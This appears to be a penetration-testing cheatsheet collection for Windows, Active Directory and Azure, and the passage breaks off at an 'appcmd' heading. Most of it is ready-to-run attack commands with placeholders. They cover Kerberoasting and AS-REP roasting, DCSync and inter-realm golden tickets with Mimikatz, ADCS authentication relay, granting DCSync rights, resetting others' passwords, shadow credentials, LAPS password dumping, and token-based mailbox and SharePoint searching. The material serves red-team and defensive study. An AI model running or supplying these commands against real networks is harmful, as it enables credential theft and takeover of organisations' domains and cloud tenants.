Windows Cheatsheets
Comprehensive Windows Cheatsheets
An updated and improved collection of Windows command-line and PowerShell cheatsheets, originally from the r1cksec/cheatsheets repository.
Table of Contents
Active Directory
aadinternals
### Source
https://github.com/Gerenios/AADInternals
### Install and Import
```
Install-Module AADInternals
Import-Module AADInternals.psd1
```
### Gather informations from AzureAD
```
Invoke-AADIntReconAsOutsider -DomainName <tenant>.onmicrosoft.com
```
### Read local config
```
Get-AADIntConfiguration
```
# Set user-agent in local config
```
Set-AADIntSetting -Setting "User-Agent" -Value "<userAgent>"
```
### Gather informations from AzureAD
```
Get-AADIntTenantDomains -Domain <domain>
```
# Show the cached credentials
```
Get-AADIntCache
```
# Clear the cache
```
Clear-AADIntCache
```
# Add access token to cache
```
Add-AADIntAccessTokenToCache -AccessToken "<accessToken>" -RefreshToken "<refreshToken>"
```
# Get access token for MS Graph API for "Microsoft Office" client using interactive login
```
Get-AADIntAccessToken -ClientId "<clientId>" -Resource "https://graph.microsoft.com"
```
# Parse access token
```
Read-AADIntAccesstoken -AccessToken <accessToken> -showdate
```
# Get access token from refresh token
```
Import-Module .\AccessToken_utils.ps1
Get-AADIntAccessTokenWithRefreshToken -ClientId "<clientId>" -Resource "https://graph.windows.net" -TenantId "<tenantId>" -RefreshToken <refreshToken>
```
ad-groups-with-elevated-rights
### Account Operators
```
ability to logon on domain controlers - (can not be renamed or deleted)
SID/RID:
S-1-5-32-548
```
### Administrators
```
members have unrestricted access to the domain - (can not be renamed or deleted)
SID/RID:
1-5-32-544
```
### Allowed Read Only Domain Controler (RODC) Password Replication Group
```
used to manage a RODC password replication policy
SID/RID
S-1-5-21-<domain>-571
```
### Backup Operators
```
members have by default logon rights to domain controllers - (can not be renamed or deleted)
SID/RID
S-1-5-32-551
```
### Certificate Service DCOM Access
```
members are allowed to connect to certification authorities in the enterprise
SID/RID:
S-1-5-32-<domain>-574
```
### Cert Publishers
```
members are authorized to publish certificates for user object
SID/RID:
S-1-5-<domain>-517
```
### Distributed COM Users
```
members are allowed to launch, activate, and use Distributed COM objects on the computer
Distributed Component Object Model (DCOM) allows applications to be distributed across locations
SID/RID:
S-1-5-32-562
```
### DnsAdmins
```
members have admin rights to AD DNS
SID/RID:
S-1-5-21-<domain>-1102
```
### Domain Admins
```
group with full admin rights to the active directory domain and all computers
SID/RID:
S-1-5-<domain>-512
```
### Enterprise Admins
```
group with full admin rights to all active directory domains in the AD forest
SID/RID:
S-1-5-21-<rootDomain>-519
```
### Event Log Readers
```
members can read event logs from local computers
SID/RID:
S-1-5-32-573
```
### Group Policy Creators Owners
```
group with the ability to create, edit or delete group policies in the domain
SID/RID:
S-1-5-<domain>-520
```
### Hyper-V Administrators
```
members have complete and unrestricted access to all the features in Hyper-V
SID/RID:
S-1-5-32-578
```
### Pre–Windows 2000 Compatible Access
```
members have read access for all users and groups in the domain
SID/RID:
S-1-5-32-554
```
### Print Operators
```
members can manage, create, share, and delete printers connected to domain controllers - (can not be renamed or deleted)
SID/RID:
S-1-5-32-550
```
### Protected Users
```
members are afforded additional protection (cannot use CredSSP and WDigest, no cleartext credentials caching, no NTLM hash cached, Kerberos does not use DES or RC4 keys)
SID/RID:
S-1-5-21-<domain>-525
```
### Remote Desktop Users
```
used to grant users and groups permissions to remotely connect to an remote desktop session host server - (can not be renamed or deleted)
SID/RID:
S-1-5-32-555
```
### Schema Admins
```
members can modify the active directory schema - group exists only in the root domain of an active directory forest
SID/RID:
S-1-5-<rootDomain>-518
```
### Server Operators
```
members can sign in to a server interactively - (can not be renamed or deleted)
SID/RID:
S-1-5-32-549
```
### WinRMRemoteWMIUsers_
```
group allows running powershell commands remotely
SID/RID:
S-1-5-21-<domain>-1000
```
adcomputer
### Show all properties of a specific computer object
```
Get-ADComputer <computer> -Properties *
```
### Add a new value for the attribute "msDS-AllowedToDelegateTo" for a computer1 (Constrained Delegation)
```
Set-ADComputer -Identity <computer1> -Add @{'msDS-AllowedToDelegateTo'=@('foo/<computer2>','CIFS/<fqdnComputer2>')}
```
### Remove (Constrained Delegation)
```
Get-ADComputer -Identity <computer1> | Set-ADAccountControl ‑TrustedToAuthForDelegation $false
Set-ADComputer -Identity <computer1> -Clear 'msDS-AllowedToDelegateTo'
```
### Add a new value for the attribute "PrincipalsAllowedToDelegateToAccount" for a computer1 (Resource Constrained Delegation)
```
Set-ADComputer -Identity <computer1> -PrincipalsAllowedToDelegateToAccount (Get-ADComputer <computer2>)
```
### Remove (Resource Constrained Delegation)
```
Set-ADComputer <computer1> -PrincipalsAllowedToDelegateToAccount $Null
```
adcspwn
### Source
https://github.com/bats3c/ADCSPwn
### Find certificate autthority
```
certutil.exe
```
### Coerce authentication from machine account and relay to certificate service, write certificate to file
```
adcspwn.exe --adcs <certificateAuthority> --remote <domainController> --output <base64Certificate>
```
### Request kerberos TGT
```
Rubeus.exe asktgt /outfile:<file> /user:<domainController> /ptt /certificate:<base64Certificate>
```
add-type
### Compile and run cs code in memory
```
$sourceCode = @"
using System.IO;
public class ClassName
{
public static void Test()
{
Directory.CreateDirectory("newDir");
}
}
"@
Add-Type -TypeDefinition $sourceCode
[ClassName]::Test()
```
adgroupmember
### Get group member
```
Get-ADGroupMember -identity <group>
```
### Add group member
```
Add-ADGroupMember -Identity <group> -Members <user>
```
### Remove group member
```
Remove-ADGroupMember -Identity <group> -Members <user>
```
adorganizationalunit
### Requires Remote Server Administration Tools - default on domain controller
```
Add-WindowsCapability -Online -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0
Import-Module ActiveDirectory
```
### Create new organisational unit
```
New-ADOrganizationalUnit -Name "<name>"
```
### Get informations about organisational unit
```
Get-ADOrganizationalUnit -Identity "<distinguishedName>"
```
adsisearcher
### Get all usernames without limit
```
$res = ([adsisearcher]"(objectClass=user)"); $res.PageSize = 1000; $res.FindAll().Properties.samaccountname
```
### Get all computer object
```
$res = ([adsisearcher]"(objectClass=computer)"); $res.PageSize = 1000; $res.FindAll().Properties | convertto-json
```
### Get domain admins
```
([adsisearcher]"(&(objectClass=user)(admincount=1))").FindAll().Properties.samaccountname
```
### Query for specific user
```
([adsisearcher]"(&(objectClass=user)(samaccountname=<user>))").FindAll().Properties | convertto-json
```
### Query for azure ad connect server
```
([adsisearcher]"(samaccountname=MSQL_*)").FindAll().Properties
```
### Query for laps password
```
([adsisearcher]"(&(objectClass=computer)(name=<computer>))").FindAll().Properties | ForEach-Object {$_.name, $_."ms-mcs-admpwd"}
```
### Get distinguished name of specific user
```
([adsisearcher]"(&(objectClass=user)(samaccountname=<user>))").FindAll().Properties.distinguishedname
```
### Get kerberoastable accounts
```
([adsisearcher]"(&(sAMAccountType=805306368)(servicePrincipalName=*))").FindAll()
```
### Get all user with Logon Script field
```
([adsisearcher]'(&(objectCategory=person)(objectClass=user)(scriptPath=*))').FindAll()
```
### Get failed logon attempt of specific user
```
([adsisearcher]"(&(ObjectCategory=Person)(ObjectClass=User))").FindAll() | % {write-host $_.Properties['name'] " - " $_.Properties['badpwdcount'] }
```
### Print network ranges
```
$s=[adsisearcher]'(name=*)'; $s.SearchRoot = [adsi]"LDAP://cn=Subnets,cn=Sites,cn=Configuration,dc=<domainComponent>,dc=<domainComponent>"; $s.FindAll() | Select *
```
### Get SCCM server
```
([adsisearcher]("objectClass=mSSMSManagementPoint")).FindAll() | % {$_.Properties}
```
azuread
### Source
https://www.powershellgallery.com/packages/AzureAD/2.0.2.140
### Install
```
Install-Module AzureAD
```
### Initial connect
```
Connect-AzureAD
$pw = ConvertTo-SecureString "<password>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<user>@<tenant>.onmicrosoft.com", $pw)
Connect-AzureAD -Credential $cred
```
### Get information about tenant
```
Get-AzureADTenantDetail
```
### Get all user
```
Get-AzureADUser -All $true | ConvertTo-Json
```
### Get all devices
```
Get-AzureADDevice -All $true | ConvertTo-Json
```
### Get all groups
```
Get-AzureADGroup -All $true | ConvertTo-Json
```
### Get all applications
```
Get-AzureADApplication -All $true | ConvertTo-Json
```
### Get application proxys
```
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}
```
### Get all service principals
```
Get-AzureADServicePrincipal -All $true | ConvertTo-Json
```
### Query for specific user
```
Get-AzureADUser -ObjectId <user>@<tenant>.onmicrosoft.com
```
### Get user synced from on-prem
```
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
```
### Get usernames containing the word admin
```
Get-AzureADUser -All $true | ?{$_.Displayname -match "admin"}
```
### Get objects created by user
```
Get-AzureADUser | Get-AzureADUserCreatedObject
```
### Get objects owned by user (user have mostly admin access to owned devices)
```
Get-AzureADUserOwnedObject -ObjectId <user>@<tenant>.onmicrosoft.com
```
### Search for password inside properties
```
Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}} # testen
```
### Set new password for user
```
$Pw = "<password>" | ConvertTo-SecureString -AsPlainText -Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "<user>@<tenant>.onmicrosoft.com"}).ObjectId | Set-AzureADUserPassword -Password $Pw
```
### Get groups containing the word admin
```
Get-AzureADGroup -SearchString "admin"
```
### Get member of group
```
Get-AzureADGroupMember -ObjectId <id>
```
### Add member to group
```
Add-AzureADGroupMember -ObjectId <targetGroupId> -RefObjectId <newMemberId> -Verbose
```
### Get all role templates
```
Get-AzureADDirectoryroleTemplate
```
### Get enabled roles (at least one user assigned)
```
Get-AzureADDirectoryRole
```
### Get role members
```
Get-AzureADDirectoryRoleMember -objectid <id>
```
### Get administrative unit of a given object
```
Get-AzureADMSAdministrativeUnit -Id <id>
```
### Get member of administrative unit
```
Get-AzureADMSAdministrativeUnitMember -Id <id>
```
### Get active devices
```
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
```
### Get devices owned by user
```
Get-AzureADUserOwnedDevice -ObjectId <userPrincipalName>
```
### Get devices registered by user
```
Get-AzureADUserRegisteredDevice -ObjectId <userPrincipalName>
```
### Get owner of application
```
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner
```
### Get owner of service principal
```
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwner
```
### Get objects owned by a service principal
```
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwnedObject
```
### Get objects created by a service principal
```
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedObject
```
azurehound
### Source
https://github.com/BloodHoundAD/AzureHound/releases
### Install modules
```
Install-Module -Name Az -Scope CurrentUser -Repository PSGallery -Force
Install-Module -Name AzureAD -Scope CurrentUser -Repository PSGallery -Force
```
### Start ingestor
```
Import-Module Az
Import-Module Azuread
Connect-AzAccount
Connect-AzureAD
Invoke-Azurehound
```
dirsync
### Source
https://raw.githubusercontent.com/simondotsh/DirSync/master/DirSync.psm1
### Requirements
```
DS-Replication-Get-Changes
DS-Replication-Get-Changes-In-Filtered-Set
```
### Get LAPS password of given workstation
```
Sync-LAPS -LDAPFilter '(samaccountname=<computer>$)'
```
### Get LAPS passwords of all computer accounts and ignore certificate validation
```
Sync-LAPS -UseLDAPS -IgnoreCert
```
distinguished-names
### Components
```
DC domainComponent
CN commonName
OU organizationalUnitName
O organizationName
L localityName
ST stateOrProvinceName
C countryName
UID userid
```
### Example
```
CN=name lastname,OU=orgaUnit,DC=testdomain,DC=COM
```
domain-trusts
### One way trust
```
users from the trusted domain can access resources in the trusting domain but not vice versa
```
### Two way trust
```
like one way trust but bidirectional
```
### External trust
```
nontransitive trust of two domains in different forests that cannot be extended to other domains in the forest (can be two or one way)
```
### Forest trust
```
transitive trust between forst root domains (can be one or two way)
```
dsacls
### Display access control entries of object towards another object
```
dsacls "<distinguishedName1>" | Select-String "<distinguishedName2>"
```
dsquery
### Load native module
```
rundll32 dsquery
```
### List users on domain with no limit on results
```
rundll32 dsquery user -limit 0
```
### List groups for given distinguished name
```
rundll32 dsquery group "cn=users, dc=<domainComponent>, dc=<domainComponent>"
```
### List domain admin accounts
```
rundll32 dsquery group -name "<domain admins>" | rundll32 dsget group -members -expand
```
### List all groups for a specific user
```
rundll32 dsquery user -name <user>* | rundll32 dsget user -memberof -expand
```
### List all operating systems on domain
```
rundll32 dsquery * "DC=<domainComponent>,DC=<domainComponent>" -scope subtree -attr "en" "operatingSystem" "operatingSystemServicePack" -filter "(&(objectclass=computer) (objectcategory=computer) (operatingSystem=Windows*))"
```
### Find servers in the domain
```
rundll32 dsquery * domainroot -filter "(&(objectCategory=Computer) (objectClass=Computer) (operatingSystem=*Server*))" -limit 0
```
get-spns
### Get spns
```
Function Get-Spns
{
$Search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$Search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$Results = $Search.Findall()
foreach($Result in $Results)
{
$UserEntry = $Result.GetDirectoryEntry()
Write-host "User : " $UserEntry.name "(" $UserEntry.distinguishedName ")"
Write-host "SPNs"
foreach($Spn in $UserEntry.servicePrincipalName)
{
$Spn
}
Write-Host ""
}
}
```
gmsapasswordreader
### Source
https://github.com/rvazarkar/GMSAPasswordReader
### Prerequisite
```
Attacker user needs be listed in the property PrincipalsAllowedToRetrieveManagedPassword of target account.
```
### Read the password blob from a GMSA account using LDAP
```
GMSAPasswordReader.exe --AccountName <user>
```
golden-ticket-inter-realm
### Get SID of compromised domain using Bloodhound or Powerview
```
Get-DomainSID
```
### Get SID of target domain using Bloodhound or Powerview
```
Get-NetForest
```
### Get KRBTGT NTLM hash
```
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:<compromisedDomain> /user:krbtgt"'
```
### Request golden ticket - can be done offline, since domain controller connection is not necessary (/enind = validity period 60 minutes, /user can be fictitious, -519 is the SID of enteprise admin)
```
Invoke-Mimikatz -Command '"kerberos::golden /user:<attackerAccount> /domain:<compromisedDomain> /sid:<sidCompromisedDomain> /sids:<sidTargetDomain>-519 /krbtgt:<ntlmHashKrbTgt> /endin:60"'
```
kerberoast
### Source
https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1
### Kerberoast
```
Invoke-Kerberoast -OutputFormat <[hashcat|john]> | % { $_.Hash } | Out-File -Encoding utf8 <file>
```
kerberos
### Terms
```
AS - Authentication Service
KDC - Key Distribution Center
KrbTGT - Kerberos Ticket-Granting Ticket
LTSK - Long-Term Session Key
PAC - Privilege Access Certificate
SPN - Service Principle Name (contains ServiceClass and Hostname of server)
TGS - Ticket-Granting Service
TGT - Ticket-Granting Ticket (SPN of TGT is krbtgt/<domain>)
```
### Rough procedure
```
user > (ID, IP, lifetime) > AS
AS will check database for ID
AS > (ask for password) > user
user > (client password) > AS
AS > (TGS session key, liftime - encrypted with client password) > user
AS > (TGT - encrypted with TGS secret key) > user
user > (TGT, service) > TGS
TGS check if service exists and check validity of TGT
TGS > (Ticket for service - encrypted with service key) > user
user > (Ticket for service) > service
```
### Golden ticket
```
TGT signed and encrypted by the hash of KrbTGT account
it can be used to impersonate any user with any privileges from even a non-domain machine
password change has no effect on this ticket
```
kerberos-error-codes
### Error codes
```
KDC_ERR_BADOPTION - KDC cannot accommodate requested option
KDC_ERR_BAD_PVNO - Requested protocol version number not supported
KDC_ERR_CANNOT_POSTDATE - Ticket not eligible for postdating
KDC_ERR_CANNOT_USE - The client is not found in the database
KDC_ERR_CLIENT_NOTYET - Client not yet valid
KDC_ERR_CLIENT_REVOKED - Clients credentials have been revoked
KDC_ERR_C_ OLD_MAST_KVNO - Client key encrypted in oldmaster key
KDC_ERR_C_OLD - The clients or services key is too old
KDC_ERR_ETYPE_NOSUPP - KDC has no support for encryption type
KDC_ERR_ETYPE_NOTSUPP - The encryption type is not supported by the KDC
KDC_ERR_KEY_EXPIRED - Password has expired
KDC_ERR_MUST_USE_USER2USER - User-to-user authentication is required
KDC_ERR_NAME_EXP - Client's entry in database has expired
KDC_ERR_NEVER_VALID - Requested start time is later than end time
KDC_ERR_NONE - No error
KDC_ERR_NULL_KEY - The client or server has a null key
KDC_ERR_PADATA_TYPE_NOSUPP - KDC has no support for padata type
KDC_ERR_POLICY - KDC policy rejects request
KDC_ERR_PREAUTH_FAILED - Pre-authentication information was invalid
KDC_ERR_PREAUTH_REQUIRED - Additional pre-authentication required
KDC_ERR_SERVICE_EXP - Server's entry in database has expired
KDC_ERR_SERVICE_NOTYET - Server not yet valid
KDC_ERR_SERVICE_REVOKED - Credentials for server have been revoked
KDC_ERR_S_OLD_MAST_KVNO - Server key encrypted in old master key
KDC_ERR_S_PRINCIPAL_UNKNOWN - Server not found in Kerberos database
KDC_ERR_SUMTYPE_NOSUPP - KDC has no support for checksum type
KDC_ERR_SVC_UNAVAILABLE - Service is unavailable
KDC_ERR_TGT_REVOKED - TGT has been revoked
KDC_ERR_TRTYPE_NOSUPP - KDC has no support for transited type
KDC_ERR_WRONG_REALM - Wrong realm for client authentication
KRB_AP_ERR_BADADDR - Incorrect net address
KRB_AP_ERR_BADDIRECTION - Incorrect message direction
KRB_AP_ERR_BAD_INTEGRITY - Integrity check on decrypted field failed
KRB_AP_ERR_BADKEYVER - Specified version of key is not available
KRB_AP_ERR_BADMATCH - Ticket and authenticator do not match
KRB_AP_ERR_BADORDER - Message out of order
KRB_AP_ERR_BADSEQ - Incorrect sequence number in message
KRB_AP_ERR_BADVERSION - Protocol version mismatch
KRB_AP_ERR_INAPP_CKSUM - Inappropriate type of checksum in message
KRB_AP_ERR_METHOD - Alternative authentication method required
KRB_AP_ERR_MODIFIED - Message stream modified
KRB_AP_ERR_MSG_TYPE - Invalid msg type
KRB_AP_ERR_MUT_FAIL - Mutual authentication failed
KRB_AP_ERR_NOKEY - Service key not available
KRB_AP_ERR_NOT_US - The ticket is not for us
KRB_AP_ERR_REPEAT - Request is a replay
KRB_AP_ERR_SKEW - Clock skew too great
KRB_AP_ERR_TKT_EXPIRED - Ticket expired
KRB_AP_ERR_TKT_NYV - Ticket not yet valid
KRB_ERR_FIELD_TOOLONG - Field is too long for this implementation
KRB_ERR_GENERIC - Generic error
PRINCIPAL_NOT_UNIQUE - Multiple principal entries in database
```
klist
### Get information about cached tickets
```
klist
```
### Get information about TGT
```
klist tgt
```
### Lists the currently cached ticket-granting-tickets
```
klist tickets
```
ldap-error-codes
### Error codes
```
525 user not found
52e invalid credentials
530 not permitted to logon at this time
531 not permitted to logon at this workstation
532 password expired
533 account disabled
701 account expired
773 user must reset password
775 user account locked
```
nltest
### Get domain controller
```
nltest /dclist:<domain>
```
powerview
### Source
https://raw.githubusercontent.com/AdrianVollmer/PowerSploit/master/Recon/PowerView.ps1
### Get domain controller for current domain
```
Get-NetDomainController
```
### Get remote logged in user
```
Get-NetSession -ComputerName <fqdnRhost>
```
### Get object descriptions
```
Get-NetUser | select-object samaccountname,description | fl | Out-File <file>.txt
```
### Get specific user description
```
Get-NetUser -Username <user>
```
### Get list of all domain trusts
```
Get-NetDomainTrust
```
### Get details about the current forest
```
Get-NetForest
```
### Find all machines where user has local admin rights
```
Find-LocalAdminAccess –Verbose -Domain <domain> -Computername <rhost>
```
### Show all security identifiers (SID) that can create new GPOs
```
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=<domainComponent>,DC=<domainComponent>" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
```
### Get name of SID
```
ConvertFrom-SID <securityIdentifier>
```
### Show all principals that can write to GP-Link attributes
```
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, SecurityIdentifier | fl
```
### Get computeraccounts in specific OU
```
Get-DomainComputer | ? { $_.DistinguishedName -match "<distinguishedName>" -or $_.DistinguishedName -match "OU=<ou>" } | select DnsHostName
```
### Add full permissions over a group to specific user (right = All or ResetPassword or WriteMembers)
```
Add-ObjectAcl -TargetADSprefix '<distinguishedName>' -PrincipalSamAccountName <user> -Rights <right> -Verbose
```
### Add DCSync right to a specific user
```
Add-ObjectAcl -TargetDistinguishedName 'distinguishedName' -PrincipalSamAccountName <user> -Rights DCSync -Verbose
```
### Set a new password for specific user
```
Set-DomainUserPassword -Identity <user> -AccountPassword (ConvertTo-SecureString "<password>" -AsPlainText -Force) -Verbose
```
### Check if user has SPN set (targeted kerberoast)
```
Get-DomainUser -Identity <user> | select serviceprincipalname
Get-DomainComputer -Identity <user> | select serviceprincipalname
```
### Set a new SPN
```
Set-DomainObject -Identity <userOrComputer> -Set @{serviceprincipalname='foo/bar'}
```
### Request ticket from SPN
```
Request-SPNTicket -SPN 'foo/bar'
```
### After export of tickets using mimikatz remove SPN
```
Set-DomainObject -Credential $Cred -Identity <userOrComputer> -Clear serviceprincipalname
```
### List accessible shares (without -ComputerName check all domain joined hosts)
```
Find-DomainShare -CheckShareAccess -ComputerName <rhost>
```
### Search for accounts with DS-Replication-Get-Changes or DS-Replication-Get-Changes-In-Filtered-Set
```
Get-ObjectAcl -DistinguishedName "dc=<domainComponent>,dc=<domainComponent> -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')}
```
### List machine account quota
```
Get-DomainObject -Domain <domain> -Properties ms-ds-machineaccountquota | Select -First 1
```
rubeus
### Sources or compile directly from github
* https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe
* https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1
* https://github.com/GhostPack/Rubeus
## Note: Always use the fully qualified domain name to execute commands after getting a ticket
### List kerberos tickets applied to current logon session
```
Rubeus.exe triage
```
### Dump tickets inside memory
```
Invoke-Rubeus -Command 'dump /service:krbtgt'
```
### Pass ticket to current session (/ticket can also be pathToKirbiFile)
```
Invoke-Rubeus -Command 'ptt /ticket:<base64>'
```
### Purge all kerberos tickets
```
Invoke-Rubeus -Command 'purge'
```
### Get TGT for specific user (Overpass-the-Hash), /nowrap print with no line breaks, use /ptt to import to session
```
Invoke-Rubeus -Command 'asktgt /user:<user> /domain:<domain> /rc4:<ntHash> /nowrap'
```
### Get TGT using - the more inconspicuous way
```
Invoke-Rubeus -Command 'hash /user:<user> /domain:<domain> /password:<password>'
Invoke-Rubeus -Command 'asktgt /user:<user> /domain:<domain> /aes256:<aes> /dc:<domainController> /ptt'
```
### Impersonate user (use cifs as alternative service for http) (further request will need to use the fqdn)
```
Invoke-Rubeus -Command 's4u /impersonateuser:<targetUser> /msdsspn:http/<fqdnRhost> /ticket:<base64> /altservice:cifs'
```
### Create new process (show pop up cmd shell)
```
Invoke-Rubeus -Command 'createnetonly /program:C:\Windows\System32\cmd.exe /show'
```
### Pass a ticket to the process
```
Invoke-Rubeus -Command 'ptt /luid:<luid> /ticket:<base64>'
```
### Kerberoasting
```
Invoke-Rubeus -Command 'kerberoast /outfile:<file>.txt'
```
### Asrep roasting
```
Invoke-Rubeus -Command 'asreproast /outfile:<file>.txt '
```
### As-rep roasting for specific user and hashcat format
```
Invoke-Rubeus -Command 'asreproast /outfile:<file>.txt /format:hashcat /user:<user>'
```
sendspn
### Set new SPN value for computerobject
```
setspn.exe -C -S <service>/<fqdn> <domain>\<computer>
```
### Set new SPN value for userobject
```
setspn.exe -U -S <service>/<fqdn> <domain>\<user>
```
whisker
### Source
https://github.com/eladshamir/Whisker
### Requirements
```
Windows Server 2016 domain controller
digitale certificate for Server Authentication installed on domain controller
```
### Windows Security Log Event IDs
```
Kerberos authentication(4768) TGT requested
```
### Generate public-private key pair, add credential to the target object and print rubeus asgtgt command
```
Whisker.exe add /target:<user>
```
### List entries of msDS-KeyCredentialLink attribute
```
Whisker.exe list /target:<user>
```
### Remove key credential by a DeviceID GUID
```
Whisker.exe remove /target:<user> /deviceid:<id>
```
### Remove all values from msDS-KeyCredentialLink attribute
```
Whisker.exe clear /target:<user>
```
Azure & Cloud
az
### Source
https://docs.microsoft.com/en-us/cli/azure/install-azure-cli-windows?tabs=azure-cli
### Install
```
winget install -e --id Microsoft.AzureCLI
```
### Initial connect
```
az login -u <user>@<tenant>.onmicrosoft.com -p <password>
```
### Find commands for Vms
```
az find "vm"
```
### Get information about current tenant
```
az account tenant list
```
### List users
```
az ad user list
```
### List groups
```
az ad group list
```
### List user names of a group
```
az ad group member list -g "<groupName>" --query "[].[displayName]"
```
### List virtual machines
```
az vm list
```
### List webapps
```
az webapp list
```
### List function apps
```
az functionapp list
```
### List automation accounts
```
az extension add --upgrade -n automation
az automation account list
```
### Check if there is a user logged in via az cli
```
az ad signed-in-user show
```
### List storage accounts
```
az storage account list
```
### List keyvaults
```
az keyvault list
```
### List application objects registered in current domain
```
az ad app list
```
### Get information about specific application
```
az ad app show --id <id>
```
### Show owner of application
```
az ad app owner list --id <id>
```
### List service principals
```
az ad sp list --all
```
### Get information about specific service principal
```
az ad sp show --id <id>
```
### Get owner of service principal
```
az ad sp owner list --id <id>
```
### Request access token (the token itself can not be used by az)
```
az account get-access-token
```
### Request graph token
```
az account get-access-token --resource-type ms-graph
```
### Clear all tokens
```
az logout
```
azure-accesspermissions
### Source
https://github.com/csandker/Azure-AccessPermissions
### Install
```
Install-Module Microsoft.Graph
Install-Module AADInternals
Import-Module .\Azure-AccessPermissions.ps1
```
### Enumerate access permissions in Azure
```
Invoke-PermissionCheck
```
azure-arm-api
### List subscriptions (accessible resources) using access token
```
$Token = '<eyJ0eX...>'
$Url= 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $Url
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
```
### Get permissions for given subscription
```
$Token = '<eyJ0eX...>'
$Url = 'https://management.azure.com/subscriptions/<subscriptionId>/<subscriptionPath>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $Url
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
```
### List all Enterprise Applications using Graph API
```
$Token = '<eyJ0eX...>'
$Url = ' https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $Url
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
```
### Get all user using access token
```
$Token = '<eyJ0eX...>'
$Url= 'https://graph.microsoft.com/v1.0/users'
$RequestParams = @{
Method = 'GET'
Uri = $Url
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
```
### Get Membeship of
```
$Token = (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token
$Url= 'https://graph.microsoft.com/v1.0/users/<userName>@<tenant>.onmicrosoft.com/memberOf'
$RequestParams = @{
Method = 'GET'
Uri = $Url
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
```
### Get nonce for Pass the primary token
```
$TenantId = "<id>"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$Params = @{
"URI" = $URL
"Method" = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
```
### Retrieve user data of virtual machine
```
$UserData = Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://<rhost>/metadata/instance/compute/userData?api-version=2021-01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($UserData))
```
graphrunner
### Source
https://github.com/dafthack/GraphRunner
### Get tokens via Device Code Flow
```
Get-GraphTokens
```
### Get access token using refresh token
```
Invoke-RefreshGraphTokens -TenantId <tenantId> -RefreshToken "<refreshToken>"
```
### Read last emails
```
Get-Inbox -userid <user> -tokens $tokens
```
### Search for term inside the last 100 Outlook messages (search will not end up in history)
```
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "<term>" -MessageCount 100
```
### Search for term inside MS Teams messages
```
Invoke-SearchTeams -Tokens $tokens -SearchTerm "<term>"
```
### Search for filetype or term and download file
```
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "filetype:xlsx"
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "<term>"
```
### Dump conditional access policies
```
Invoke-DumpCAPS -tokens $tokens
```
### Dump dynamic groups
```
Get-DynamicGroups -tokens $tokens
```
### Get sharepoint urls
```
Get-SharePointSiteURLs -tokens $tokens
```
### Import tokens
```
Invoke-ImportTokens -AccessToken <accessToken> -RefreshToken <refreshToken>
```
microburst
### Source
https://github.com/NetSPI/MicroBurst
### Import
```
Import-Module MicroBurst.psm1
```
### Enumerate subdomains for given tenant
```
Invoke-EnumerateAzureSubDomains -Base <tenant> -Verbose
```
### Enumerate Azure Blobs
```
Invoke-EnumerateAzureBlobs -Base <tenant> defcorp
```
o365recon
### Source
https://raw.githubusercontent.com/nyxgeek/o365recon/master/o365recon.ps1
### Install dependencies
```
Install-Module MSOnline
Install-Module AzureAD
```
### Gather informations from AzureAD and O365
```
.\o365recon.ps1 -azure
```
roadrecon
### Source
https://github.com/dirkjanm/ROADtools
### Gather information
```
roadrecon auth -u <user>@<tenant>.onmicrosoft.com -p <password>
roadrecon gather
```
### Generate Primary Key Token for current user session (get nonce using ARM API retrieve from memory using Get-AADIntUserPRTToken)
```
ROADToken.exe <nonce>
```
Command Line Tools
appcmd
### List application pool user
```
